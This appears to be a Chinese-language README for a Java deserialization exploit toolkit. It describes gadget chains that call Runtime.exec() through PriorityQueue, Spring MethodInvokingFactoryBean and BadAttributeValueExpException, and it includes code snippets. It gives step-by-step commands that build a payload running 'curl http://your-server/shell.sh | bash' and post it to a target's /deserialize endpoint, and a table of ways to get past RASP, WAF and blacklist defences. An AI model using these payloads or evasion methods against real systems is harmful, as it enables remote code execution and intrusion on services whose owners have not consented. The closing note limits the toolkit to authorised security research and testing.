Java 反序列化漏洞利用工具集 — 多种 Gadget Chain 实现,适配不同环境与防御措施
本项目收集了多个 Java 反序列化漏洞的 Gadget Chain 实现,覆盖不同 JDK 版本、不同框架环境(Spring Boot / 纯 JDK)以及不同防御绕过场景。
核心关注点:
- 不依赖第三方库的纯 JDK 链
- Spring Framework 环境下的利用
- 绕过 RASP / WAF 检测
| 文件 | 适用环境 | 链简介 |
|---|---|---|
Exploit.java |
JDK 8+ | PriorityQueue + 自定义 Comparator → Runtime.exec() |
PayloadRemote.java |
JDK 8 + Spring Boot | MethodInvokingFactoryBean → Runtime.exec(),绕过 RASP 的 setAccessible 拦截 |
GenSpring.java |
JDK 8 + Spring | 多方案探索:MethodInvokingFactoryBean / BadAttributeValueExpException / 纯 JDK fallback |
gen_payload.py |
纯 Python | 直接构造 Java 序列化协议的二进制 Payload,无需 JDK |
// Exploit.java
// PriorityQueue 反序列化时触发 heapify() → comparator.compare()
// 自定义 Comparator,compare() 中执行命令
PriorityQueue<String> pq = new PriorityQueue<>(2, exploit);
pq.add("x");
pq.add("y");
// 序列化后即可 RCE特点:需要自定义类在目标 Classpath 上。
// PayloadRemote.java
// Spring 的 MethodInvokingFactoryBean 反射调用 public 方法
// 不调用 setAccessible(),可绕过 RASP 拦截
MethodInvokingFactoryBean bean = new MethodInvokingFactoryBean();
bean.setTargetClass(Runtime.class);
bean.setTargetMethod("exec");
bean.setArguments(new Object[]{cmd});特点:
- ✅ 无需自定义类
- ✅ 不触发
setAccessible0拦截 - ✅ 所有方法调用均为 public
# gen_payload.py
# 直接按照 Java 序列化协议规范构造二进制 Payload
# 无需 JDK / javac / ysoserial
serializer = JavaSerializer()
# 手动构造 BadAttributeValueExpException → Runtime.exec 链# 编译
javac Exploit.java
# 生成 Payload(在 classpath 上运行)
java Exploit "curl http://your-server/shell.sh | bash"
# 发送 Payload
curl -X POST http://target:8080/deserialize \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.binpip install requests
python gen_payload.py| 防御措施 | 绕过方式 |
|---|---|
TemplatesImpl.getStylesheetDOM() 拦截 |
改用 JdbcRowSetImpl + JNDI |
setAccessible0() 拦截 |
使用 Spring MethodInvokingFactoryBean(仅 public 方法) |
| 黑名单类过滤 | 纯 JDK 内置类链 |
| WAF 流量检测 | 二进制序列化数据天然混淆 |
java-deserialization-gadgets/
├── Exploit.java # PriorityQueue + Comparator 链
├── PayloadRemote.java # Spring MIFB 链 (RASP 绕过)
├── GenSpring.java # Spring 多链探索
├── gen_payload.py # Python 原生序列化器
└── README.md
本项目仅供安全研究和授权测试使用。使用者需自行承担所有法律责任。
- ysoserial — Java 反序列化 Gadget 集合
- Java Deserialization Cheat Sheet
- marshalsec — JNDI/LDAP 服务器